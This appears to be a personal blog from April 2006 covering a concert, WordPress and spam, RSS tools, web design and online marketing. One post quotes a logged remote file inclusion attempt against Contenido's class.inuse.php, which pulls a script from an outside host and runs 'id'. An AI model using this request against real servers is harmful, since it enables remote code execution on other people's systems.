Ben Gibbard, can I have your baby?

April 9th, 2006

Somehow I ended up with a Death Cab for Cutie tour t-shirt tonight.

I’m finally at home after seeing the The Cribs, Franz Ferdinand and Death Cab For Cutie at the Tweeter Center in Camden, NJ.

I can’t really speak for the Cribs (who had the thankless job of opening) or for Franz Ferdinand, who did a great job live, even with their wanktastic group introduction. However, the Death Cab For Cutie part of the show was just awesome. They played mostly from the newest album,
Plans - with the notable exceptions of opening with The New Year and later playing The Sound of Settling from Transatlanticism. Also, We Laugh Indoors from The Photo Album. We sang along to Crooked Teeth, Soul Meets Body, and I Will Follow You Into The Dark (what a couples song). Unlike the sometimes moodiness of Plans, the show was surprisingly upbeat (no Brothers on a Hotel Bed or Someday You Will Be Loved)…and Death Cab left the stage with the mostly female audience wanting more and a promise to see us again in the fall. Hell, I’d follow them around the country if all of their shows weren’t sold out.

Should I just mention that the audience was mostly female–suburban artgirls with plastic rimmed glasses, wearing old navy and their feminist boyfriends?

Pics to follow later…

[tags] Death Cab For Cutie, dcfc, music, Seattle, alternative, black plastic framed glasses [/tags]

Don’t look at me, my hair is all messy!

April 8th, 2006

I feel like the girl at the beauty salon who is in the middle of getting her hair colored and she’s got a smock on with coloring goop and foil in her hair.

Updated WordPress because of the security update and the fact the comment spammers are a little *too* aggressive. I’ve got a few thousand comment spams to moderate for this fancy Akismet system (you don’t see them, but up until now, all of my comments were getting emailed to me for moderation). No wonder why I’m running out of disk space.

The update wasn’t as bad as the last one, all I really need to do is edit the sidebar and create a theme.

A directory of RSS Aggregators

April 8th, 2006

A directory of RSS Aggregators

There’s quite a few listed here that I’ve never heard of before. My favorite so far is the RSS Web-based aggregator netvibes, which has the easiest interface to use and works on Safari.

[tags]RSS, Web, Internet [/tags]

Yahoo click fraud analyzed

April 6th, 2006

Ben Edelman’s paper on Yahoo click fraud.

Interesting, I’ve heard from some of those “advertising” agencies in the past.

[tags]Yahoo, Web marketing, Web advertising[/tags]

Add to Google

April 5th, 2006

Add to Google

[tags]Google, RSS[/tags]

Online marketing update 4/3/06

April 4th, 2006

Email marketing schadenfruede

The recently unveiled NY Times redesign works. The good: multicolumn layout and use of video. The images on the site are just dazzling. The bad: The CSS based tabs on the upper left fading too much into the background.

Update 04/05/06: Here’s the blog entry of the NYTimes Design Director on the redesign. There’s some interesting in-a-web-design-way debate in the blog’s comments.

Verizon email settlement, interesting as it’s creating case law concerning email that consumers *wanted* but Verizon blocked. According to the AP article, Verizon is apparently still denying they had any long-rumored geographic based email filters in place.

Google Product Search

April 2nd, 2006

Hmmm…this is interesting, I have been using the experimental Google results page for the past week or so and as I was surprised to find the following product search box on my results page… Also I’ve checked and I’ve gotten the box while logged in and while not logged into my Google Account.

Is this Google Base related?

According to the SearchEngineWatch blog, this is a search box for Google Base results. I’ve been postulating for a while that Google is going to remove natural product search results from their index (think of it, Google wants to monetize product search results), and along with the development of Google Base this new search box looks to be the beginning of that away-from-natural-search migration.

[tags]Google, Web marketing, ecommerce, online retailing[/tags]

A few more RSS user agents

April 2nd, 2006

Agent: Accelatech RSSCrawler/0.4 Crawler page in Japanese

Agent: RSS-SPIDER (RSS Feed Seeker http://www.rss-spider.com/fsb.php)

Agent: BlogBridge 2.15 (http://www.blogbridge.com/)

Agent: Snarfer/0.2.0 (http://www.snarfware.com/)

[tags]RSS, Internet, Blogosphere [/tags]

Orange as the new call to action

April 2nd, 2006

Thinking about trends in Web design and noticing how some popular Web sites are using the color orange as a call to action.

.Mac - Join Now Button

The New York Times - Times Select items and XML button

The Wall Street Journal - Current Section and clickable Section Titles
MySpace - Sign Up button
Blogger - Logo and Create Your Blog Now button
BBC - RSS buttons and Podcasting image
AOL.com - Join Now button
Alibaba.com - Logo, Join Now button, Click Here button, hyperlink hover color, resources menu box
CNet - Merchant call out box
Monster - Post Now button, Employers Click Here button, Log In button, Search button, various hyperlinks

[tags]Web design[/tags]

Silly Brazilians

April 2nd, 2006

Not too long ago I thought I read something about a few new php exploits being found recently. Here’s an attempted inuse.php exploit in my logs.

200.243.30.82
//contenido/classes/class.inuse.php?cfg[path][contenido]=http://www.phantasmairc.hpgvip.com.br/CMD.txt?&cmd=id

It looks to be quite new as there’s a couple Google results, including this sys admin blog entry [auf Deutsch].

[tags]Web[/tags]

If you were wondering…

April 2nd, 2006

a pair of iPod Shuffle earbuds can make it through a trip to the washing machine and dryer. Albeit emerging a little frayed, and they still work.

[tags]Apple, iPod[/tags]

I believe the quote is…

April 1st, 2006

“There’s gonna be an opening in the Chevrolet Marketing department pretty soon.”

Just who was the brains behind the idea that the target demographic for a Chevy Tahoe would 1)want to spend loads of cash on a vehicle with poor gas mileage and 2)would enjoy making faux Tahoe commercials online for a contest?

Hint: Chevrolet/GM listening to your customers involves improving your product.

[tags] Marketing, Web Marketing [/tags]